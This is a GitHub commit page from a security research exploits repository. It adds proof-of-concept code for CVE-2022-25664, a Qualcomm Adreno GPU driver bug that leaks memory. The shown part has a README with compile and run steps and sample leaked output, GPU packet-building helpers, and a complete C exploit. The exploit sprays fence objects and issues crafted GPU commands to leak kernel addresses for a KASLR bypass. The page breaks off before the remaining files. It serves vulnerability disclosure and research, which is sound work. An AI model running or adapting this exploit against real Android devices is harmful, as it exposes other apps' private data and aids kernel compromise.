-
Notifications
You must be signed in to change notification settings - Fork 249
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #731 from github/qualcomm_25664
Blog material
- Loading branch information
Showing
9 changed files
with
1,239 additions
and
0 deletions.
There are no files selected for viewing
48 changes: 48 additions & 0 deletions
48
SecurityExploits/Android/Qualcomm/CVE_2022_25664/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
## CVE-2022-25664 | ||
|
||
The write up can be found [here](https://github.blog/2023-02-23-the-code-that-wasnt-there-reading-memory-on-an-android-device-by-accident). This is a bug in the Qualcomm kgsl driver that I reported in December 2021. The bug can be used to leak information in other user apps, as well as in the kernel from an untrusted app. | ||
|
||
The directory `adreno_user` contains a proof-of-concept for leaking memory from other applications. It'll repeatedly trigger the bug and read the stale information contained in memory pages. There is no telling or control over what information is being leaked. To test this, compile with the following command: | ||
|
||
``` | ||
aarch64-linux-android30-clang -O2 adreno_user.c -o adreno_user | ||
``` | ||
|
||
and then push `adreno_user` to the device and run it. It should print out non zero memory content: | ||
|
||
``` | ||
flame:/ $ /data/local/tmp/adreno_user | ||
hexdump(0x50000000, 0x190) | ||
00000000 0d 00 00 00 00 00 00 00 22 55 00 00 00 00 00 00 |........"U......| | ||
00000010 fb 84 67 b5 73 00 00 b4 e0 84 67 b5 73 00 00 b4 |..g.s.....g.s...| | ||
00000020 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 |................| | ||
00000030 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | ||
00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| | ||
00000050 cb e9 67 e5 73 00 00 b4 00 00 00 00 00 00 00 00 |..g.s...........| | ||
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | ||
00000070 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | ||
00000080 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | ||
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | ||
000000a0 fb 84 67 b5 73 00 00 b4 e0 84 67 b5 73 00 00 b4 |..g.s.....g.s...| | ||
....... | ||
``` | ||
|
||
The directory `adreno_kernel` contains a proof-of-concept for leaking kernel information for KASLR bypass. It'll repeatedly trigger the bug and tries to leak kernel addresses. Depending on whether the device is running kernel branch 4.x or 5.x, the Macro `KERNEL_BRANCH` in `adreno_kernel.c` should be set to either `4` or `5`. | ||
|
||
To test, compile with | ||
|
||
``` | ||
aarch64-linux-android30-clang adreno_kernel.c adreno_cmd.c kgsl_utils.c -O3 -o adreno_kernel | ||
``` | ||
|
||
and then run it on the device. If successful, it should print out the kernel addresses of some objects and functions: | ||
|
||
``` | ||
flame:/ $ /data/local/tmp/adreno_kernel | ||
found dma fence object: | ||
kgsl_syncsource_fence_ops address: ffffff9daaea8b48 | ||
object address: fffffffe116100a0 | ||
syncsource address: fffffffe0b244480 | ||
``` | ||
|
||
It has been tested on a number of devices. The time it takes (depends on the success rate of a single leak) varies across devices. It is relatively quick Pixel 4, but takes longer on the Samsung Z flip 3. |
76 changes: 76 additions & 0 deletions
76
SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,76 @@ | ||
#include "adreno_cmd.h" | ||
|
||
uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr) | ||
{ | ||
uint *start = cmds; | ||
|
||
*cmds++ = lower_32_bits(gpuaddr); | ||
*cmds++ = upper_32_bits(gpuaddr); | ||
|
||
return cmds - start; | ||
} | ||
|
||
uint pm4_calc_odd_parity_bit(uint val) { | ||
return (0x9669 >> (0xf & ((val) ^ | ||
((val) >> 4) ^ ((val) >> 8) ^ ((val) >> 12) ^ | ||
((val) >> 16) ^ ((val) >> 20) ^ ((val) >> 24) ^ | ||
((val) >> 28)))) & 1; | ||
} | ||
|
||
uint cp_type7_packet(uint opcode, uint cnt) { | ||
return CP_TYPE7_PKT | ((cnt) << 0) | | ||
(pm4_calc_odd_parity_bit(cnt) << 15) | | ||
(((opcode) & 0x7F) << 16) | | ||
((pm4_calc_odd_parity_bit(opcode) << 23)); | ||
} | ||
|
||
uint cp_wait_for_me( | ||
uint *cmds) | ||
{ | ||
uint *start = cmds; | ||
|
||
*cmds++ = cp_type7_packet(CP_WAIT_FOR_ME, 0); | ||
|
||
return cmds - start; | ||
} | ||
|
||
uint cp_mem_packet(int opcode, uint size, uint num_mem) { | ||
return cp_type7_packet(opcode, size + num_mem); | ||
} | ||
|
||
uint cp_wait_for_idle( | ||
uint *cmds) | ||
{ | ||
uint *start = cmds; | ||
|
||
*cmds++ = cp_type7_packet(CP_WAIT_FOR_IDLE, 0); | ||
|
||
return cmds - start; | ||
} | ||
|
||
uint cp_type4_packet(uint opcode, uint cnt) | ||
{ | ||
return CP_TYPE4_PKT | ((cnt) << 0) | | ||
(pm4_calc_odd_parity_bit(cnt) << 7) | | ||
(((opcode) & 0x3FFFF) << 8) | | ||
((pm4_calc_odd_parity_bit(opcode) << 27)); | ||
} | ||
|
||
uint cp_register( | ||
unsigned int reg, unsigned int size) | ||
{ | ||
return cp_type4_packet(reg, size); | ||
} | ||
|
||
uint cp_invalidate_state( | ||
uint *cmds) | ||
{ | ||
uint *start = cmds; | ||
|
||
*cmds++ = cp_type7_packet(CP_SET_DRAW_STATE, 3); | ||
*cmds++ = 0x40000; | ||
*cmds++ = 0; | ||
*cmds++ = 0; | ||
|
||
return cmds - start; | ||
} |
40 changes: 40 additions & 0 deletions
40
SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.h
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
#ifndef ADRENO_CMD_H | ||
#define ADRENO_CMD_H | ||
|
||
#include <unistd.h> | ||
|
||
#define CP_TYPE4_PKT (4 << 28) | ||
#define CP_TYPE7_PKT (7 << 28) | ||
|
||
#define CP_NOP 0x10 | ||
#define CP_WAIT_FOR_ME 0x13 | ||
#define CP_WAIT_FOR_IDLE 0x26 | ||
#define CP_WAIT_REG_MEM 0x3c | ||
#define CP_MEM_WRITE 0x3d | ||
#define CP_INDIRECT_BUFFER_PFE 0x3f | ||
#define CP_SET_DRAW_STATE 0x43 | ||
#define CP_MEM_TO_MEM 0x73 | ||
#define CP_SET_PROTECTED_MODE 0x5f | ||
|
||
#define upper_32_bits(n) ((uint32_t)(((n) >> 16) >> 16)) | ||
#define lower_32_bits(n) ((uint32_t)(n)) | ||
|
||
uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr); | ||
|
||
uint pm4_calc_odd_parity_bit(uint val); | ||
|
||
uint cp_type7_packet(uint opcode, uint cnt); | ||
|
||
uint cp_wait_for_me(uint *cmds); | ||
|
||
uint cp_mem_packet(int opcode, uint size, uint num_mem); | ||
|
||
uint cp_wait_for_idle(uint *cmds); | ||
|
||
uint cp_type4_packet(uint opcode, uint cnt); | ||
|
||
uint cp_register(unsigned int reg, unsigned int size); | ||
|
||
uint cp_invalidate_state(uint *cmds); | ||
|
||
#endif |
225 changes: 225 additions & 0 deletions
225
SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_kernel.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,225 @@ | ||
#include <err.h> | ||
#include <errno.h> | ||
#include <sys/types.h> | ||
#include <sys/stat.h> | ||
#include <fcntl.h> | ||
#include <unistd.h> | ||
#include <sys/ioctl.h> | ||
#include <sys/mman.h> | ||
#include <errno.h> | ||
#include <time.h> | ||
#include <poll.h> | ||
#include <sys/syscall.h> | ||
#include <string.h> | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <stdbool.h> | ||
#include <sched.h> | ||
#include <linux/aio_abi.h> | ||
|
||
|
||
#include "kgsl_utils.h" | ||
#include "adreno_cmd.h" | ||
#include "dma_search.h" | ||
|
||
#define CMD_SIZE 4 | ||
|
||
#define OBJS_PER_SLAB (0x1000/OBJECT_SIZE) | ||
|
||
#define CPU_PARTIAL 30 | ||
|
||
#define MMAP_SPRAY 1000 | ||
|
||
#define OBJ_SPRAY 10000 | ||
|
||
#define CPU_SETSIZE 1024 | ||
#define __NCPUBITS (8 * sizeof (unsigned long)) | ||
typedef struct | ||
{ | ||
unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; | ||
} cpu_set_t; | ||
|
||
#define CPU_SET(cpu, cpusetp) \ | ||
((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) | ||
#define CPU_ZERO(cpusetp) \ | ||
memset((cpusetp), 0, sizeof(cpu_set_t)) | ||
|
||
#define KERNEL_BRANCH KERNEL_4 | ||
|
||
void migrate_to_cpu(int i) | ||
{ | ||
int syscallres; | ||
pid_t pid = gettid(); | ||
cpu_set_t cpu; | ||
CPU_ZERO(&cpu); | ||
CPU_SET(i, &cpu); | ||
|
||
syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); | ||
if (syscallres) | ||
{ | ||
err(1, "Error in the syscall setaffinity"); | ||
} | ||
} | ||
|
||
static uint32_t* map_anon(int kgsl_fd, uint64_t* addr, size_t size) { | ||
uint32_t* out = NULL; | ||
out = (uint32_t*)mmap(NULL, size, PROT_READ|PROT_WRITE, | ||
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | ||
if (out == MAP_FAILED) { | ||
err(1, "shared_mem_buf failed"); | ||
} | ||
int ret = kgsl_map(kgsl_fd, (unsigned long)out, size, addr, 0); | ||
|
||
if (ret == -1) { | ||
err(1, "kgsl_map failed %p\n", out); | ||
} | ||
return out; | ||
} | ||
|
||
static uint32_t write_gpu_cmd(uint32_t* write_cmd_buf, uint64_t shared_mem_gpuaddr, uint32_t n) { | ||
uint32_t* write_cmds; | ||
|
||
write_cmd_buf = write_cmd_buf + 0x1000/CMD_SIZE - 5; | ||
|
||
write_cmds = write_cmd_buf; | ||
|
||
*write_cmds++ = cp_type7_packet(CP_NOP, 1); | ||
*write_cmds++ = 0xffffffff; | ||
|
||
*write_cmds++ = cp_type7_packet(CP_MEM_WRITE, 2 + n); | ||
|
||
write_cmds += cp_gpuaddr(write_cmds, shared_mem_gpuaddr); | ||
|
||
return (write_cmds - write_cmd_buf + n) * CMD_SIZE; | ||
} | ||
|
||
|
||
static int io_setup(unsigned nr, aio_context_t *ctxp) | ||
{ | ||
return syscall(__NR_io_setup, nr, ctxp); | ||
} | ||
|
||
static int io_destroy(aio_context_t ctx) | ||
{ | ||
return syscall(__NR_io_destroy, ctx); | ||
} | ||
|
||
int find_address() { | ||
uint32_t *write_cmd_buf; | ||
uint64_t *shared_mem_buf; | ||
void *shared_mem_buf2; | ||
uint64_t shared_mem_gpuaddr2; | ||
uint32_t n = 2048; | ||
uint64_t shared_mem_size = 0x2000; | ||
uint32_t cmd_size; | ||
uint64_t write_cmd_gpuaddr = 0; | ||
uint64_t shared_mem_gpuaddr = 0; | ||
uint64_t hole_size = 0x1000; | ||
int fds[OBJS_PER_SLAB * CPU_PARTIAL]; | ||
int spray_fds[OBJ_SPRAY]; | ||
|
||
int fd = open("/dev/kgsl-3d0", O_RDWR); | ||
|
||
if (fd == -1) { | ||
err(1, "cannot open kgsl"); | ||
} | ||
|
||
uint32_t ctx_id; | ||
if (kgsl_ctx_create(fd, &ctx_id)) { | ||
err(1, "kgsl_ctx_create failed."); | ||
} | ||
|
||
struct kgsl_syncsource_create syncsource = {0}; | ||
if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE, &syncsource) < 0) { | ||
err(1, "unable to create syncsource\n"); | ||
} | ||
|
||
for (int i = 0; i < OBJ_SPRAY; i++) { | ||
struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id}; | ||
if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) { | ||
err(1, "Failed to create fence"); | ||
} | ||
spray_fds[i] = create_fence.fence_fd; | ||
} | ||
|
||
for (int i = 0; i < CPU_PARTIAL * OBJS_PER_SLAB; i++) { | ||
struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id}; | ||
if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) { | ||
err(1, "Failed to create fence"); | ||
} | ||
fds[i] = create_fence.fence_fd; | ||
} | ||
|
||
shared_mem_buf = (uint64_t*)map_anon(fd, &shared_mem_gpuaddr, shared_mem_size); | ||
write_cmd_buf = map_anon(fd, &write_cmd_gpuaddr, 0x1000); | ||
uint64_t write_cmd_gpuaddr_start = write_cmd_gpuaddr; | ||
|
||
write_cmd_gpuaddr = write_cmd_gpuaddr + 0x1000 - 5 * CMD_SIZE; | ||
|
||
uint32_t* write_cmd_buf_start = write_cmd_buf; | ||
cmd_size = write_gpu_cmd(write_cmd_buf, shared_mem_gpuaddr, n); | ||
|
||
usleep(50000); | ||
void* hole = mmap(NULL, hole_size, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | ||
shared_mem_buf2 = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | ||
|
||
if (shared_mem_buf2 == MAP_FAILED) { | ||
err(1, "shared_mem_buf2 failed"); | ||
} | ||
|
||
munmap(hole, hole_size); | ||
aio_context_t ctx = 0; | ||
uint32_t nr_events = 32; | ||
|
||
migrate_to_cpu(0); | ||
for (int i = 0; i < OBJS_PER_SLAB; i++) { | ||
close(fds[i + (CPU_PARTIAL - 1) * OBJS_PER_SLAB]); | ||
} | ||
|
||
for (int i = 0; i < (CPU_PARTIAL - 1); i++) { | ||
close(fds[i * OBJS_PER_SLAB]); | ||
} | ||
|
||
if (io_setup(nr_events, &ctx) < 0) err(1, "io_setup error\n"); | ||
if (kgsl_map(fd, (unsigned long) shared_mem_buf2, shared_mem_size, &shared_mem_gpuaddr2, 1) == -1) { | ||
err(1, "kgsl_map failed (shared_mem_buf2)"); | ||
} | ||
|
||
if (kgsl_gpu_command_payload(fd, ctx_id, 0, cmd_size, 1, 0, write_cmd_gpuaddr, cmd_size)) { | ||
err(1, "gpu_command failed."); | ||
} | ||
usleep(150000); | ||
if (shared_mem_gpuaddr2 != write_cmd_gpuaddr_start + 0x1000) { | ||
err(1, "wrong address layout shared_mem_gpuaddr2 %lx write_cmd_gpuaddr %lx\n", shared_mem_gpuaddr2, write_cmd_gpuaddr); | ||
} | ||
if (ctx != (uint64_t)shared_mem_buf2 + 0x1000) { | ||
err(1, "wrong address layout shared_mem_buf2 %p ctx %lx\n", shared_mem_buf2, ctx); | ||
} | ||
|
||
int ret = dma_search(shared_mem_buf + 0x1000/8, 0x1000/8, KERNEL_BRANCH); | ||
if (ret == -1) { | ||
io_destroy(ctx); | ||
munmap(shared_mem_buf2, 0x1000); | ||
munmap(shared_mem_buf, 0x2000); | ||
munmap(write_cmd_buf, 0x1000); | ||
for (int i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) close(fds[i]); | ||
for (int i = 0; i < OBJ_SPRAY; i++) close(spray_fds[i]); | ||
close(fd); | ||
} | ||
return ret; | ||
} | ||
|
||
int main() { | ||
|
||
for (int i = 0; i < MMAP_SPRAY; i++) { | ||
mmap(NULL, 0x1000,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | ||
} | ||
int success = -1; | ||
int counter = 0; | ||
while (success == -1) { | ||
success = find_address(); | ||
counter++; | ||
if (counter % 20 == 0) printf("failed after %d\n", counter); | ||
} | ||
|
||
} |
Oops, something went wrong.